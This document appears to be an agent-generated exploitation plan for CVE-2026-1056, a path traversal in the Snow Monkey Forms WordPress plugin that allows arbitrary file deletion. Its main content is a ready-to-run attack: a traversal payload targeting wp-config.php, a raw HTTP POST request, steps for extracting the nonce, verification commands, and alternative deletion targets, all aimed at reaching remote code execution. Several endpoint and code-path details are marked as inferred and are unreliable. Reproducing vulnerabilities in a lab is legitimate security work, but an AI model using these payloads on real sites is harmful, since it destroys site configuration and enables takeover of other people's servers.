Exploitation Research Plan: CVE-2026-1056 Snow Monkey Forms Arbitrary File Deletion

1. Vulnerability Summary

The Snow Monkey Forms plugin (versions <= 12.0.3) contains a critical path traversal vulnerability in its file handling logic. The vulnerability resides in the generate_user_dirpath function (inferred to be located within a Model or Helper class, possibly src/App/Model/Session.php or src/App/Model/Upload.php), which fails to sanitize user-supplied identifiers before using them to construct a directory path.

Because the plugin subsequently performs cleanup operations (deleting temporary directories/files) using this unsanitized path, an unauthenticated attacker can manipulate the path to point to sensitive system files, such as wp-config.php. Deleting wp-config.php allows an attacker to re-run the WordPress installation process and gain Remote Code Execution (RCE).

2. Attack Vector Analysis

• Endpoint: The vulnerability is likely triggered during form submission or a temporary data cleanup phase. This typically involves the WordPress REST API or an AJAX action.
  • REST Route (Likely): /wp-json/snow-monkey-forms/v1/dispatch
  • AJAX Action (Alternative): snow_monkey_forms_send
• Vulnerable Parameter: A session identifier or unique form submission ID, likely named _snow_monkey_forms_session_id or session_id.
• Payload: Path traversal sequence targeting wp-config.php (e.g., ../../../../wp-config.php).
• Authentication: None (Unauthenticated).
• Preconditions: A form must be created and published on a page.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a POST request to the form submission endpoint (REST or AJAX).
2. Session/Upload Handling: The controller retrieves a session ID from the request (e.g., $_POST['_snow_monkey_forms_session_id']).
3. Vulnerable Sink: The controller calls generate_user_dirpath($session_id).
   • This function likely concatenates the ID to a base directory: $path = $base_dir . '/' . $session_id;.
   • No sanitize_file_name() or validation against .. is performed.
4. Cleanup Trigger: Either upon completion of the form or a validation error, the plugin attempts to "clean up" the user's temporary directory.
5. Execution: The plugin calls a deletion function like WP_Filesystem::delete($path, true) or recursive_rmdir($path).
6. Result: Since $path resolves to the WordPress root via traversal, the filesystem deletes the targeted file (e.g., wp-config.php).

4. Nonce Acquisition Strategy

Snow Monkey Forms uses nonces to protect its form submissions, usually localized for the frontend.

1. Identify Shortcode: The plugin uses [snow_monkey_forms] (or specific form IDs like [snow_monkey_forms id="123"]).
2. Create Test Page:

   wp post create --post_type=page --post_status=publish --post_title="Contact Form" --post_content='[snow_monkey_forms id="REPLACE_WITH_ACTUAL_ID"]'
   

3. Localization Key: The plugin typically localizes data into a JavaScript object named snow_monkey_forms_params or snowMonkeyForms.
4. Extraction via browser_eval:
   • Navigate to the page using browser_navigate.
   • Execute: browser_eval("window.snow_monkey_forms_params?.nonce") or check for specific keys in the script tags if the object name differs.
   • Note: If the plugin uses the REST API, the nonce might be for the wp_rest action, often found in window.wpApiSettings.nonce.

5. Exploitation Strategy

1. Preparation:
   • Find or create a Snow Monkey Form.
   • Identify the directory structure. In standard WordPress installs, wp-config.php is 3 or 4 levels up from the uploads/snow-monkey-forms directory.
2. Payload Construction:
   • Set _snow_monkey_forms_session_id to ../../../../wp-config.php.
3. Execution (HTTP Request):

   POST /wp-json/snow-monkey-forms/v1/dispatch HTTP/1.1
   Host: target.local
   Content-Type: application/x-www-form-urlencoded
   X-WP-Nonce: [EXTRACTED_NONCE]
   
   _snow_monkey_forms_session_id=../../../../wp-config.php&form_id=[FORM_ID]&action=submit
   

   • Note: The exact endpoint and parameters must be verified by inspecting the form's HTML source/network traffic during a legitimate submission.
4. Alternative Trigger: If deletion only happens on "Cleanup" (e.g., via a cron or after a timeout), the attacker might need to wait or trigger a specific "cancel" action if it exists.

6. Test Data Setup

1. Install Plugin: wp plugin install snow-monkey-forms --version=12.0.3 --activate
2. Create Form: Use wp eval or the UI to create at least one form.
3. Get Form ID: wp post list --post_type=snow-monkey-forms
4. Create Page: Place the form on a public page.
5. Verify Target: Confirm wp-config.php exists: ls /var/www/html/wp-config.php.

7. Expected Results

• The HTTP request should return a success message (or a validation error, as long as the cleanup code is reached).
• The file /var/www/html/wp-config.php should be deleted from the server.
• Subsequent requests to the site root should redirect to wp-admin/setup-config.php.

8. Verification Steps

1. File Existence Check:

   if [ ! -f /var/www/html/wp-config.php ]; then echo "VULNERABILITY VERIFIED: wp-config.php deleted"; fi
   

2. Site State Check:

   curl -sI http://localhost:8080/ | grep "location:.*setup-config.php"
   

9. Alternative Approaches

• Delete index.php: If wp-config.php is protected by permissions, try deleting index.php or wp-settings.php to confirm arbitrary deletion.
• Directory Wiping: Set the session ID to ../../../plugins/snow-monkey-forms to see if the plugin can delete its own directory.
• Different Endpoints: If the REST API is disabled, check for admin-ajax.php handlers with wp_ajax_nopriv_snow_monkey_forms_....
• Parameter Guessing: If _snow_monkey_forms_session_id is incorrect, look for parameters in the generate_user_dirpath call in src/App/Controller/Dispatch.php (inferred path).